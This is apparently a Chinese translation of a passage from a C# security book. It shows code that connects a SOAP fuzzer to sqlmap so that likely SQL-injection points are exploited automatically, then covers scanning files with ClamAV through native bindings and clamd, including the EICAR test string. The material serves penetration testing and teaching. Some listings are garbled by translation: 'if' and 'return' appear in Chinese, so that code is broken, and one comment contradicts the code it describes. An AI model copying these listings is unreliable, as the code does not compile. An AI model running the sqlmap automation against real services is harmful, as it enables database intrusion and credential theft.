TestPostRequestWithSqlmap() 方法接受四个参数➊。第一个参数是将要发送到 sqlmap 的 URL。第二个参数是将包含在 HTTP 请求的 POST 正文中的数据——无论是 POST 参数还是 SOAP XML。第三个参数是将会在 HTTP 请求的 SOAPAction 头中传递的值。最后一个参数是唯一的易受攻击值。在发送到 sqlmap 进行模糊测试之前,它将会在第二个参数的数据中被替换为星号。
在我们向屏幕打印一条消息,告知用户正在测试哪个 URL ➋ 后,我们创建 SqlmapSession 和 SqlmapManager 对象 ➌。然后,像之前一样,我们创建一个新任务并设置当前选项 ➍。特别注意数据选项 ➎。在这里,我们将 POST 数据中的易受攻击值替换为星号。星号是 sqlmap 中的特殊符号,表示“忽略任何类型的智能解析数据,仅在此特定位置查找 SQL 注入”。
在开始任务之前,我们还需要设置一个选项。我们需要在请求的 HTTP 头中设置正确的内容类型和 SOAP 动作。否则,服务器只会返回 500 错误。这正是方法的下一部分所做的,具体细节见清单 9-33。
string headers = string.Empty;
如果 (!string.➊IsNullOrWhitespace(soapAction))
headers = "Content-Type: text/xml\nSOAPAction: " + ➋soapAction;
else
headers = "Content-Type: application/x-www-form-urlencoded";
options["headers"] = ➌headers;
manager.StartTask(taskID, options); 清单 9-33:在 TestPostRequestWithSqlmap() 方法中设置正确的头信息
如果 soapAction 变量 ➋(我们希望在 SOAPAction 头中传递的值,告诉 SOAP 服务器我们希望执行的动作)为 null 或空字符串 ➊,我们可以假设这不是一个 XML 请求,而是一个 POST 参数请求。后者只需要将正确的 Content-Type 设置为 x-www-form-urlencoded。如果 soapAction 不是空字符串,那么我们应假设这是一个 XML 请求,然后将 Content-Type 设置为 text/xml,并添加一个 SOAPAction 头,值为 soapAction 变量。设置完正确的头信息后 ➌,我们最终将任务 ID 和选项传递给 StartTask() 方法。
该方法的其余部分,见清单 9-34,应该很熟悉。它只是监视扫描并返回结果,类似于 TestGetRequestWithSqlmap() 方法的功能。
SqlmapStatus status = manager.➊GetScanStatus(taskID);
while (status.Status != "terminated")
{
System.Threading.Thread.➋Sleep(new TimeSpan(0,0,10));
status = manager.GetScanStatus(taskID);
}
List
logItems = manager.➌GetLog(taskID); foreach (SqlmapLogItem item in logItems)
Console.➍WriteLine(item.Message);
manager.➎DeleteTask(taskID);
}
}
}
清单 9-34:TestPostRequestWithSqlmap() 方法中的最终几行
这就像列表 9-25 中的代码一样。我们使用 GetScanStatus() 方法 ➊ 来获取任务的当前状态,在状态未终止的情况下,我们等待 10 秒 ➋。然后再次获取状态。完成后,我们拉取日志项 ➌ 并遍历每一项,打印出日志消息 ➍。最后,当一切完成后,我们删除任务 ➎。
调用新方法
为了完成我们的工具,我们需要从 SOAP 模糊测试器中的各自模糊测试方法调用这些新方法。首先,我们通过在测试是否由于模糊测试而发生语法错误的 if 语句中添加对 TestPostRequestWithSqlmap() 方法的调用,更新了我们在第三章中制作的 FuzzSoapPort() 方法,如列表 9-35 所示。
if (➊resp.Contains("syntax error"))
{
Console.➋WriteLine("参数中可能存在 SQL 注入向量: " +
type.Parameters[k].Name);
➌TestPostRequestWithSqlmap(_endpoint, soapDoc.ToString(),
op.SoapAction, parm.ToString());
}
列表 9-35:在 SOAP 模糊测试器的 FuzzSoapPort() 方法中添加对 sqlmap 的支持,来自第三章
在我们原始的 SOAP 模糊测试器中,在 FuzzSoapPort() 方法的最底部,我们测试了响应是否返回了报告语法错误的错误消息 ➊。如果是,我们会打印出注入向量 ➋ 供用户查看。为了让 FuzzSoapPort() 方法使用我们的新方法来测试带有 sqlmap 的 POST 请求,我们只需在原始 WriteLine() 方法调用后添加一行,打印出易受攻击的参数。添加一行调用 TestPostRequestWithSqlmap() 方法 ➌,这样你的模糊测试器就会自动向 sqlmap 提交潜在的易受攻击请求进行处理。
类似地,我们在测试 HTTP 响应中的语法错误的 if 语句中更新了 FuzzHttpGetPort() 方法,如列表 9-36 所示。
if (resp.Contains("syntax error"))
{
Console.WriteLine("参数中可能存在 SQL 注入向量: " +
input.Parts[k].Name);
TestGetRequestWithSqlmap(url, input.Parts[k].Name);
}
列表 9-36:在 SOAP 模糊测试器的 FuzzHttpGetPort() 方法中添加 sqlmap 支持
最后,我们像列表 9-37 所示一样,简单地更新了在 FuzzHttpPostPort() 中测试语法错误的 if 语句。
if (resp.Contains("syntax error"))
{
Console.WriteLine("参数中可能存在 SQL 注入向量: " +
input.Parts[k].Name);
TestPostRequestWithSqlmap(url, testParams, null, guid.ToString());
}
列表 9-37:在 SOAP 模糊测试器的 FuzzHttpPostPort() 方法中添加 sqlmap 支持
添加了这些行到 SOAP 模糊测试器后,它现在不仅会输出潜在的易受攻击参数,还会输出 sqlmap 能够利用漏洞进行 SQL 注入的所有技术。
在 IDE 或终端中运行更新版的 SOAP fuzzer 工具应该会在屏幕上打印出关于 sqlmap 的新信息,如 列表 9-38 所示。
$ mono ./ch9_automating_sqlmap_soap.exe http://172.18.20.40/Vulnerable.asmx
正在获取服务的 WSDL: http://172.18.20.40/Vulnerable.asmx
已获取并加载 Web 服务描述。
模糊测试服务:VulnerableService
模糊测试 SOAP 端口:VulnerableServiceSoap
模糊测试操作:AddUser
参数中可能存在 SQL 注入向量:username
➊ 使用 sqlmap 测试 URL: http://172.18.20.40/Vulnerable.asmx
--snip--
列表 9-38:使用带有 sqlmap 支持的更新版 SOAP fuzzer 对来自 第三章的漏洞 SOAP 服务进行测试
在 SOAP fuzzer 输出中,注意有关使用 sqlmap 测试 URL ➊的新行。一旦 sqlmap 完成测试 SOAP 请求,sqlmap 日志应该会打印到屏幕上,供用户查看结果。
结论
在本章中,你将看到如何将 sqlmap API 的功能封装成易于使用的 C# 类,从而创建一个小型应用程序,该应用程序可以对作为参数传递的 URL 执行基本的 sqlmap 扫描。在我们创建了基本的 sqlmap 应用程序后,我们将 sqlmap 支持添加到 第三章的 SOAP fuzzer 中,制作一个自动利用和报告潜在漏洞 HTTP 请求的工具。
sqlmap API 可以使用命令行版 sqlmap 工具的任何参数,使其功能强大,甚至更强。通过 sqlmap,你可以利用 C# 技能,在验证给定的 URL 或 HTTP 请求确实存在漏洞后,自动获取密码哈希和数据库用户信息。我们仅仅触及了 sqlmap 对于攻击性渗透测试者或注重安全的开发者的潜力,后者希望更多地接触黑客使用的工具。希望你能花时间深入学习 sqlmap 的更多微妙特性,真正将灵活的安全实践带入你的工作中。
第十章
10
自动化 ClamAV

ClamAV 是一个开源的杀毒解决方案,主要用于在邮件服务器上扫描电子邮件及其附件,识别潜在的病毒,以便它们在到达并感染网络中的计算机之前被发现。但这并不是它唯一的使用场景。在本章中,我们将使用 ClamAV 创建一个自动化病毒扫描器,用于扫描文件中的恶意软件,并借助 ClamAV 的数据库识别病毒。
你将学习如何以几种方式自动化 ClamAV。其中一种方法是与 libclamav 接口,这个本地库驱动着 ClamAV 的命令行工具,如 clamscan,一个你可能熟悉的文件扫描器。第二种方法是通过套接字与 clamd 守护进程接口,以便在没有安装 ClamAV 的计算机上执行扫描。
安装 ClamAV
ClamAV 是用 C 语言编写的,这在与 C#自动化时会带来一些复杂性。它可以通过常见的包管理器(如 yum 和 apt)在 Linux 上使用,同时也适用于 Windows 和 OS X。许多现代 Unix 发行版都包含 ClamAV 包,但该版本可能与 Mono 和.NET 不兼容。
在 Linux 系统上安装 ClamAV 的过程应该是这样的:$ sudo apt-get install clamav 如果你使用的是基于 Red Hat 或 Fedora 的 Linux 版本,并且系统自带 yum,你可以运行如下命令:$ sudo yum install clamav clamav-scanner clamav-update 如果你需要启用额外的仓库才能通过 yum 安装 ClamAV,可以输入以下命令:$ sudo yum install -y epel-release 这些命令会安装与系统架构相匹配的 ClamAV 版本。
注意
Mono 和.NET 不能与本地非托管库接口,除非它们的架构兼容。例如,32 位的 Mono 和.NET 在编译为 64 位 Linux 或 Windows 机器的 ClamAV 上无法正常运行。你需要安装或编译与 Mono 或.NET 32 位架构匹配的本地 ClamAV 库。
包管理器中的默认 ClamAV 包可能不适合 Mono/.NET 的架构。如果不匹配,你需要专门安装与 Mono/.NET 架构匹配的 ClamAV。你可以编写程序通过检查 IntPtr.Size 的值来验证你的 Mono/.NET 版本。输出为 4 表示 32 位版本,而输出为 8 表示 64 位版本。如果你在 Linux、OS X 或 Windows 上运行 Mono 或 Xamarin,你可以轻松检查,如列表 10-1 所示。
$ echo "IntPtr.Size" | csharp
4
列表 10-1:检查 Mono/.NET 架构的单行命令
Mono 和 Xamarin 提供了一个用于 C# 的交互式解释器(称为 csharp),类似于 Python 解释器或 Ruby 的 irb。通过使用标准输入(stdin)将 IntPtr.Size 字符串传递到解释器中,你可以打印出 Size 属性的值,在本例中是 4,表示 32 位架构。如果你的输出也是 4,那么你需要安装 32 位的 ClamAV。设置一个你预期架构的虚拟机可能是最简单的方式。由于在 Linux、OS X 和 Windows 上编译 ClamAV 的指令不同,如果你需要安装 32 位的 ClamAV,它超出了本书的讨论范围。不过,网上有很多教程可以指导你根据自己的操作系统完成安装步骤。
你还可以使用 Unix 的 file 工具来检查你的 ClamAV 库是 32 位版本还是 64 位版本,如列表 10-2 所示。
$ file /usr/lib/x86_64-linux-gnu/libclamav.so.7.1.1
libclamav.so.7.1.1: ELF ➊64 位 LSB 共享对象,x86-64,版本 1(GNU/Linux),
动态链接,未剥离 列表 10-2:使用 file 查看 libclamav 架构
使用 file 命令,我们可以查看 libclamav 库是为 32 位还是 64 位架构编译的。我的计算机上,列表 10-2 显示该库是 64 位版本 ➊。但在列表 10-1 中,IntPtr.Size 返回的是 4,而不是 8!这意味着我的 libclamav(64 位)和 Mono(32 位)架构不匹配。我必须重新编译 ClamAV 为 32 位版本,才能与我的 Mono 安装一起使用,或者安装 64 位的 Mono 运行时。
ClamAV 本地库与 clamd 网络守护进程
我们将从使用本地库 libclamav 自动化 ClamAV 开始。这允许我们使用本地副本的 ClamAV 及其病毒库进行病毒扫描;然而,这要求 ClamAV 软件和病毒库必须正确安装并保持更新。引擎可能会占用大量内存和 CPU,使用磁盘空间存储病毒签名。有时这些需求会占用机器比程序员希望的更多资源,因此将扫描任务卸载到另一台机器上是合理的选择。
你可能更希望在一个中心位置执行病毒扫描——例如,当电子邮件服务器发送或接收邮件时——在这种情况下,你可能无法轻松使用 libclamav。相反,你可以使用 clamd 守护进程,将病毒扫描从邮件服务器卸载到专用的病毒扫描服务器。你只需保持一个服务器的病毒签名是最新的,而且你也不会大幅增加让邮件服务器崩溃的风险。
使用 ClamAV 的本地库进行自动化
一旦你正确安装并运行了 ClamAV,你就可以开始自动化它了。首先,我们将直接使用 libclamav 通过 P/Invoke(在 第一章 中介绍)自动化 ClamAV,P/Invoke 允许托管程序集调用本机、非托管库中的函数。尽管你需要实现一些支持类,但总体而言,将 ClamAV 集成到应用程序中是相对直接的。
设置支持的枚举和类
我们将在代码中使用一些辅助类和枚举。所有辅助类都非常简单——大多数只有不到 10 行代码。然而,它们构成了将方法和类连接在一起的“胶水”。
支持的枚举
ClamDatabaseOptions 枚举,如 列表 10-3 所示,用于在 ClamAV 引擎中设置我们将使用的病毒查找数据库的选项。
[Flags]
public enum ClamDatabaseOptions
{
CL_DB_PHISHING = 0x2,
CL_DB_PHISHING_URLS = 0x8,
CL_DB_BYTECODE = 0x2000,
➊CL_DB_STDOPT = (CL_DB_PHISHING | CL_DB_PHISHING_URLS | CL_DB_BYTECODE),
}
列表 10-3:定义 ClamAV 数据库选项的 ClamDatabaseOptions 枚举
ClamDatabaseOptions 枚举使用直接从 ClamAV C 源代码中获取的值来定义数据库选项。这三个选项启用钓鱼电子邮件的签名、钓鱼网址的签名,以及在启发式扫描中使用的动态字节码签名。综合这三者,构成了 ClamAV 的标准数据库选项,用于扫描病毒或恶意软件。通过使用按位 OR 操作符将这三个选项值组合起来,我们得到了一个我们想要使用的组合选项的位掩码,定义在枚举 ➊ 中。使用位掩码是一种非常高效的存储标志或选项的流行方式。
我们必须实现的另一个枚举是 ClamReturnCode 枚举,它对应于 ClamAV 的已知返回代码,如 列表 10-4 所示。再次说明,这些值是直接从 ClamAV 源代码中获取的。
public enum ClamReturnCode
{
➊CL_CLEAN = 0x0,
➋CL_SUCCESS = 0x0,
➌CL_VIRUS = 0x1
}
列表 10-4:存储我们感兴趣的 ClamAV 返回代码的枚举
这绝不是一个完整的返回代码列表。我只包括了在我们编写的示例中预期会看到的返回代码。这些是清洁代码 ➊ 和成功代码 ➋,分别表示扫描的文件没有病毒或某个操作成功,病毒代码 ➌ 则表示在扫描文件中检测到病毒。如果你遇到 ClamReturnCode 枚举中未定义的错误代码,可以在 ClamAV 源代码的 clamav.h 中查找它们。这些代码在头文件中的 cl_error_t 结构中定义。
我们的 ClamReturnCode 枚举有三个值,其中只有两个是不同的。CL_CLEAN 和 CL_SUCCESS 都共享相同的值 0x0,因为 0x0 既表示一切按预期运行,也表示扫描的文件是干净的。另一个值 0x1 则表示检测到病毒。
我们需要定义的最后一个枚举是 ClamScanOptions 枚举,这是我们需要的最复杂的枚举。它在清单 10-5 中显示。
[Flags]
public enum ClamScanOptions
{
CL_SCAN_ARCHIVE = 0x1,
CL_SCAN_MAIL = 0x2,
CL_SCAN_OLE2 = 0x4,
CL_SCAN_HTML = 0x10,
➊CL_SCAN_PE = 0x20,
CL_SCAN_ALGORITHMIC = 0x200,
➋CL_SCAN_ELF = 0x2000,
CL_SCAN_PDF = 0x4000,
➌CL_SCAN_STDOPT = (CL_SCAN_ARCHIVE | CL_SCAN_MAIL |
CL_SCAN_OLE2 | CL_SCAN_PDF | CL_SCAN_HTML | CL_SCAN_PE |
CL_SCAN_ALGORITHMIC | CL_SCAN_ELF)
}
清单 10-5: 用于保存 ClamAV 扫描选项的类
如你所见,ClamScanOptions 看起来是 ClamDatabaseOptions 的复杂版本。它定义了可以扫描的各种文件类型(Windows PE 可执行文件 ➊、Unix ELF 可执行文件 ➋、PDF 等),以及一组标准选项 ➌。与之前的枚举一样,这些枚举值直接取自 ClamAV 源代码。
ClamResult 支持类
现在我们只需要实现 ClamResult 类(见清单 10-6),以完成 libclamav 的支持功能。
public class ClamResult
{
public ➊ClamReturnCode ReturnCode { get; set; }
public string VirusName { get; set; }
public string FullPath { get; set; }
}
清单 10-6: 用于保存 ClamAV 扫描结果的类
这个非常简单!第一个属性是 ClamReturnCode ➊,用于存储扫描的返回代码(通常应该是 CL_VIRUS)。我们还拥有两个字符串属性:一个用于存储 ClamAV 返回的病毒名称,另一个用于存储文件路径,以便后续使用。我们将使用这个类来保存每个文件扫描的结果作为一个对象。
访问 ClamAV 的本地库函数
为了保持我们从 libclamav 调用的本地函数与其余 C# 代码和类之间的分离,我们定义了一个类来封装所有我们将使用的 ClamAV 函数(见清单 10-7)。
static class ClamBindings
{
const string ➊_clamLibPath = "/Users/bperry/clamav/libclamav/.libs/libclamav.7.dylib";
[➋DllImport(_clamLibPath)]
public extern static ➌ClamReturnCode cl_init(uint options);
[DllImport(_clamLibPath)]
public extern static IntPtr cl_engine_new();
[DllImport(_clamLibPath)]
public extern static ClamReturnCode cl_engine_free(IntPtr engine);
[DllImport(_clamLibPath)]
public extern static IntPtr cl_retdbdir();
[DllImport(_clamLibPath)]
public extern static ClamReturnCode cl_load(string path, IntPtr engine,
ref uint signo, uint options);
[DllImport(_clamLibPath)]
public extern static ClamReturnCode cl_scanfile(string path, ref IntPtr virusName,
ref ulong scanned, IntPtr engine, uint options);
[DllImport(_clamLibPath)]
public extern static ClamReturnCode cl_engine_compile(IntPtr engine);
}
列表 10-7: ClamBindings 类,包含所有 ClamAV 函数
ClamBindings 类首先定义了一个字符串,表示我们将要接口的 ClamAV 库的完整路径 ➊。在这个例子中,我指向的是我从源代码编译的一个 OS X .dylib 文件,以匹配我的 Mono 安装的架构。根据你编译或安装 ClamAV 的方式,原生 ClamAV 库的路径在你的系统上可能有所不同。如果你使用 ClamAV 安装程序,在 Windows 上,这个文件将是一个位于 /Program Files 目录中的 .dll 文件。在 OS X 上,它将是一个 .dylib 文件,在 Linux 上则是 .so 文件。在后两种系统上,你可以使用 find 命令定位正确的库。
在 Linux 上,类似以下命令会打印出任何 libclamav 库的路径:$ find / -name libclamav*so$
在 OS X 上,使用此命令:$ find / -name libclamav*dylib$
DllImport 属性 ➋ 告诉 Mono/.NET 运行时在我们在参数中指定的库中查找给定的函数。这样,我们就能直接在程序中调用 ClamAV 函数。接下来,我们将介绍在实现 ClamEngine 类时,列表 10-7 中显示的函数的功能。你还可以看到我们已经在使用 ClamReturnCode 类 ➌,它是在调用某些 ClamAV 本地函数时返回的。
编译 ClamAV 引擎
列表 10-8 中的 ClamEngine 类将执行大部分实际的扫描和潜在恶意文件报告工作。
public class ClamEngine : IDisposable
{
private ➊IntPtr engine;
public ➋ClamEngine()
{
ClamReturnCode ret = ClamBindings.➌cl_init((uint)ClamDatabaseOptions.CL_DB_STDOPT);
if (ret != ClamReturnCode.CL_SUCCESS)
throw new Exception("预期返回 CL_SUCCESS,但得到 " + ret);
engine = ClamBindings.➍cl_engine_new();
try
{
string ➎dbDir = Marshal.PtrToStringAnsi(ClamBindings.cl_retdbdir());
uint ➏signatureCount = 0;
ret = ClamBindings.➐cl_load(dbDir, engine, ref signatureCount,
(uint)ClamScanOptions.CL_SCAN_STDOPT);
if (ret != ClamReturnCode.CL_SUCCESS)
throw new Exception("预期返回 CL_SUCCESS,但得到 " + ret);
ret = (ClamReturnCode)ClamBindings.➑cl_engine_compile(engine);
if (ret != ClamReturnCode.CL_SUCCESS)
throw new Exception("预期返回 CL_SUCCESS,但得到 " + ret);
}
catch
{
ret = ClamBindings.cl_engine_free(engine);
if (ret != ClamReturnCode.CL_SUCCESS)
Console.Error.WriteLine("释放分配的引擎失败");
throw;
}
}
列表 10-8: ClamEngine 类,用于扫描和报告文件
首先,我们声明一个类级别的 IntPtr 变量 ➊,名为 engine,它将指向我们的 ClamAV 引擎,供类中的其他方法使用。虽然 C# 不需要指针来引用对象在内存中的确切地址,但 C 需要。C 有指针,类型为 intptr_t,而 IntPtr 是 C# 版的 C 指针。由于 ClamAV 引擎将在 .NET 和 C 之间来回传递,我们需要一个指针来引用它在内存中存储的地址,以便将其传递给 C。这就是创建 engine 变量时发生的事情,我们将在构造函数中为其赋值。
接下来,我们定义构造函数。ClamEngine 类的构造函数 ➋ 不需要任何参数。为了初始化 ClamAV 开始分配用于扫描的引擎,我们通过传递加载签名时要使用的签名数据库选项来调用 ClamBindings 类中的 cl_init() ➌。为了防止 ClamAV 初始化失败,我们检查 cl_init() 的返回代码,如果初始化失败,则抛出异常。如果 ClamAV 初始化成功,我们使用 cl_engine_new() ➍ 分配一个新引擎,该方法不接受任何参数,并返回指向新 ClamAV 引擎的指针,我们将其存储在 engine 变量中以供后续使用。
一旦分配了引擎,我们需要加载病毒签名以供扫描。cl_retdbdir() 函数返回 ClamAV 配置使用的定义数据库路径,并将其存储在 dbDir 变量中 ➎。由于 cl_retdbdir() 返回的是 C 指针字符串,我们通过使用 Marshal 类中的 PtrToStringAnsi() 函数将其转换为常规字符串,Marshal 类用于在托管类型和非托管类型之间转换数据类型。一旦存储了数据库路径,我们定义一个整数变量 signatureCount ➏,该变量被传递给 cl_load() 并赋值为从数据库中加载的签名数量。
我们使用 ClamBindings 类中的 cl_load() ➐ 方法将签名数据库加载到引擎中。我们将 ClamAV 数据库目录 dbDir 和新引擎作为参数传递,还传递一些其他值。传递给 cl_load() 的最后一个参数是一个枚举值,用于指定我们希望支持扫描的文件类型(例如 HTML、PDF 或其他特定类型的文件)。我们使用之前创建的类 ClamScanOptions 来定义扫描选项,设置为 CL_SCAN_STDOPT,这样我们就使用标准的扫描选项。在加载完病毒数据库后(根据选项,可能需要几秒钟),我们再次检查返回代码是否等于 CL_SUCCESS;如果是,我们最终通过将其传递给 cl_engine_compile() 函数 ➑ 来编译引擎,准备引擎开始扫描文件。然后,我们最后一次检查是否收到了 CL_SUCCESS 返回代码。
扫描文件
为了简化文件扫描,我们将 cl_scanfile()(ClamAV 库中的扫描文件并返回结果的函数)封装为我们自己的方法,命名为 ScanFile()。这样我们就可以准备传递给 cl_scanfile()的参数,并能够处理并返回来自 ClamAV 的结果,作为一个 ClamResult 对象返回。此过程在 Listing 10-9 中展示。
public ClamResult ScanFile(string filepath, uint options = (uint)ClamScanOptions.➊CL_SCAN_STDOPT)
{
➋ulong scanned = 0;
➌IntPtr vname = (IntPtr)null;
ClamReturnCode ret = ClamBindings.➍cl_scanfile(filepath, ref vname, ref scanned,
engine, options);
if (ret == ClamReturnCode.CL_VIRUS)
{
string virus = Marshal.➎PtrToStringAnsi(vname);
➏ClamResult result = new ClamResult();
result.ReturnCode = ret;
result.VirusName = virus;
result.FullPath = filepath;
return result;
}
else if (ret == ClamReturnCode.CL_CLEAN)
return new ClamResult() { ReturnCode = ret, FullPath = filepath };
else
throw new Exception("Expected either CL_CLEAN or CL_VIRUS, got: " + ret);
}
Listing 10-9: ScanFile()方法,它扫描并返回一个 ClamResult 对象
我们实现的 ScanFile()方法接受两个参数,但我们只需要第一个参数,即要扫描的文件路径。用户可以通过第二个参数定义扫描选项,但如果未指定第二个参数,则会使用我们在 ClamScanOptions 中定义的标准扫描选项➊来扫描文件。
我们通过定义一些变量来开始 ScanFile()方法的实现。扫描用的 ulong 类型变量最初设置为 0➋。在扫描完文件后,我们实际上不会再使用这个变量,但 cl_scanfile()函数需要这个变量才能正确调用。我们定义的下一个变量是另一个 IntPtr,我们称之为 vname(病毒名称)➌。最初将其设置为 null,但稍后我们会为它分配一个 C 字符串指针,当检测到病毒时,该指针指向 ClamAV 数据库中的病毒名称。
我们使用 ClamBindings 中定义的 cl_scanfile()函数➍来扫描文件,并传递给它一些参数。第一个参数是我们要扫描的文件路径,接着是一个变量,如果检测到病毒,这个变量将被赋值为病毒名称。最后两个参数分别是我们将用于扫描的引擎和扫描选项。中间的参数 scanned 是调用 cl_scanfile()所必需的,但对我们来说并没有实际用途。我们在将它作为参数传递给该函数后就不会再使用它。
该方法的其余部分将扫描信息包装成便于程序员使用的形式。如果 cl_scanfile() 的返回代码表明发现了病毒,我们使用 PtrToStringAnsi() ➎ 返回 vname 变量在内存中指向的字符串。一旦得到病毒名称,我们创建一个新的 ClamResult 类 ➏ 并使用 cl_scanfile() 返回代码、病毒名称和扫描文件的路径为其赋值三个属性。然后,我们将 ClamResult 类返回给调用者。如果返回代码是 CL_CLEAN,我们将返回一个带有 CL_CLEAN 返回代码的新 ClamResult 类。然而,如果它既不是 CL_CLEAN 也不是 CL_VIRUS,我们会抛出异常,因为我们得到了一个我们没有预料的返回代码。
清理工作
ClamEngine 类中最后需要实现的方法是 Dispose(),如列表 10-10 所示,它在使用语句的上下文中自动清理扫描后的工作,并且是 IDisposable 接口所要求的。
public void Dispose()
{
ClamReturnCode ret = ClamBindings.➊cl_engine_free(engine);
if (ret != ClamReturnCode.CL_SUCCESS)
Console.Error.WriteLine("释放分配的引擎失败");
}
}
列表 10-10:Dispose() 方法,自动清理引擎
我们实现 Dispose() 方法是因为,如果在使用完 ClamAV 引擎后不释放它,可能会导致内存泄漏。使用像 C# 这样的语言与 C 库进行工作有一个缺点,因为 C# 有垃圾回收机制,很多程序员不会主动考虑清理资源。然而,C 语言没有垃圾回收机制。如果我们在 C 中分配了某些内容,使用完后就需要手动释放。这就是 cl_engine_free() 函数 ➊ 的作用。为了确保我们做到谨慎,我们还会检查引擎是否已成功释放,通过将返回代码与 CL_SUCCESS 进行比较。如果它们相同,一切正常。否则,我们会抛出异常,因为我们应该能够释放已分配的引擎,如果做不到,这可能表明代码中存在问题。
通过扫描 EICAR 文件来测试程序
现在我们可以将所有内容整合起来,扫描一些文件来测试我们的绑定。EICAR 文件是一个行业公认的文本文件,用于测试防病毒产品。它无害,但任何正常工作的防病毒产品应该将其识别为病毒,因此我们将用它来测试我们的程序。在列表 10-11 中,我们使用 Unix 的 cat 命令打印用于专门测试防病毒的测试文件的内容——EICAR 文件。
$ cat ~/eicar.com.txt
X5O!P%@AP4\PZX54(P^)7CC)7}\(EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\)H+H*
列表 10-11:打印 EICAR 防病毒测试文件的内容
[列表 10-12 中的简短程序将扫描作为参数指定的任何文件并打印结果。
public static void Main(string[] args)
{
using (➊ClamEngine e = new ClamEngine())
{
foreach (string file in args)
{
ClamResult result = e.➋ScanFile(file); //非常简单!
如果 (result != null && result.ReturnCode == ClamReturnCode.➌CL_VIRUS)
Console.WriteLine("Found: " + result.VirusName);
else
Console.WriteLine("文件干净!");
}
} // 引擎在这里被释放,分配的引擎会自动被清理
}
列表 10-12:自动化 ClamAV 的程序的 Main() 方法
我们首先创建我们的 ClamEngine 类 ➊,并在 using 语句中使用它,这样在完成时可以自动清理引擎。接着,我们遍历传递给 Main() 的每个参数,并假设它是一个文件路径,我们可以用 ClamAV 扫描它。我们将每个文件路径传递给 ScanFile() 方法 ➋,然后检查 ScanFile() 返回的结果,看看 ClamAV 是否返回了 CL_VIRUS 返回代码 ➌。如果是,我们将病毒名称打印到屏幕上,如 列表 10-13 所示。否则,我们打印文本“文件干净!”
$ mono ./ch10_automating_clamav_fs.exe ~/eicar.com.txt
➊ 找到:Eicar 测试签名 列表 10-13:运行我们的 ClamAV 程序在 EICAR 文件上时,会识别到病毒。
如果程序打印出 Found: Eicar-Test-Signature ➊,那就表示它工作正常!这意味着 ClamAV 扫描了 EICAR 文件,并将其与数据库中的 EICAR 定义进行了匹配,然后返回了病毒名称。一个扩展该程序的好方法是使用 FileWatcher 类,允许你定义要监视的目录,并在文件发生更改或创建时自动扫描这些文件。
现在我们有了一个可以使用 ClamAV 扫描文件的工作程序。然而,可能有一些情况,由于许可问题(ClamAV 采用 GNU 公共许可证)或技术原因,你不能有效地将 ClamAV 与应用程序一起打包,但你仍然需要一种方法来扫描网络中的文件是否有病毒。我们将介绍另一种自动化 ClamAV 的方法,这将以更集中的方式解决这个问题。
使用 clamd 自动化
clamd 守护进程为需要接受用户上传文件或类似功能的应用程序提供了一个很好的病毒扫描方法。它通过 TCP 操作,但默认情况下不使用 SSL!它还非常轻量,但必须在网络中的服务器上运行,这会带来一些限制。clamd 服务允许你使用长时间运行的进程来扫描文件,而不是像之前的自动化方式那样管理和分配 ClamAV 引擎。由于它是 ClamAV 的服务器版本,你可以使用 clamd 在不安装应用程序的情况下扫描计算机上的文件。当你只想集中管理病毒定义,或者当你有资源限制并希望将病毒扫描任务卸载到其他机器时,这非常方便,就像前面讨论的那样。在 C# 中,设置 clamd 的自动化非常简单。只需要两个小类:一个会话类和一个管理类。
安装 clamd 守护进程
在大多数平台上,从包管理器安装 ClamAV 可能不会安装 clamd 守护进程。例如,在 Ubuntu 上,你需要使用 apt 单独安装 clamav-daemon 包,如下所示:$ sudo apt-get install clamav-daemon;在 Red Hat 或 Fedora 上,你需要安装一个稍微不同的包:$ sudo yum install clamav-server
启动 clamd 守护进程
安装守护进程后,要使用 clamd,你需要启动守护进程,默认情况下,它会监听端口 3310 和地址 127.0.0.1。你可以使用 clamd 命令启动它,如 Listing 10-14 所示。
$ clamd Listing 10-14: 启动 clamd 守护进程
NOTE
如果你通过包管理器安装 clamd,它可能默认配置为监听本地 UNIX 套接字,而不是网络接口。如果你在使用 TCP 套接字连接到 clamd 守护进程时遇到问题,请确保 clamd 配置为监听网络接口!
当你运行命令时,可能不会得到任何反馈。没有消息就是好消息!如果 clamd 启动时没有任何消息,那么你已经成功启动它了。我们可以通过 netcat 测试 clamd 是否正常运行,通过连接到监听端口并查看当我们手动运行命令时会发生什么,例如获取当前的 clamd 版本并扫描文件,如 Listing 10-15 所示。
$ echo VERSION | nc -v 127.0.0.1 3310
ClamAV 0.99/20563/Thu Jun 11 15:05:30 2015
$ echo "SCAN /tmp/eicar.com.txt" | nc -v 127.0.0.1 3310
/tmp/eicar.com.txt: Eicar-Test-Signature FOUND
Listing 10-15: 使用 netcat TCP 工具运行简单的 clamd 命令
连接到 clamd 并发送 VERSION 命令应该会打印 ClamAV 版本。你也可以发送 SCAN 命令,并将文件路径作为参数,它应该返回扫描结果。编写自动化代码非常简单。
为 clamd 创建会话类
ClamdSession 类几乎不需要深入了解类中代码的工作原理,因为它非常简单。我们创建了一些属性来保存 clamd 运行的主机和端口,执行 clamd() 命令并执行的 Execute() 方法,以及一个 TcpClient 类来创建一个新的 TCP 流并将命令写入流中,如 Listing 10-16 所示。TcpClient 类最早是在 第四章 中介绍的,当时我们构建了自定义有效负载。我们也在 第七章 中使用了它,自动化了 OpenVAS 漏洞扫描器。
public class ClamdSession
{
private string _host = null;
private int _port;
public ➊ClamdSession(string host, int port)
{
_host = host;
_port = port;
}
public string ➋Execute(string command)
{
string resp = string.Empty;
using (➌TcpClient client = new TcpClient(_host, _port))
{
using (NetworkStream stream = client.➍GetStream())
{
byte[] data = System.Text.Encoding.ASCII.GetBytes(command);
stream.➎Write(data, 0, data.Length);
➏using (StreamReader rdr = new StreamReader(stream))
resp = rdr.ReadToEnd();
}
}
➐返回 resp;
}
}
Listing 10-16: 创建一个新的 clamd 会话的类
ClamdSession 构造函数 ➊ 接受两个参数——要连接的主机和端口,然后将这些值赋给本地类变量,供 Execute() 方法使用。过去,我们的所有会话类都实现了 IDisposable 接口,但实际上 ClamdSession 类不需要这样做。我们完成工作后不需要清理任何内容,因为 clamd 是一个在端口上运行的守护进程,可以继续运行,因此这简化了我们的工作。
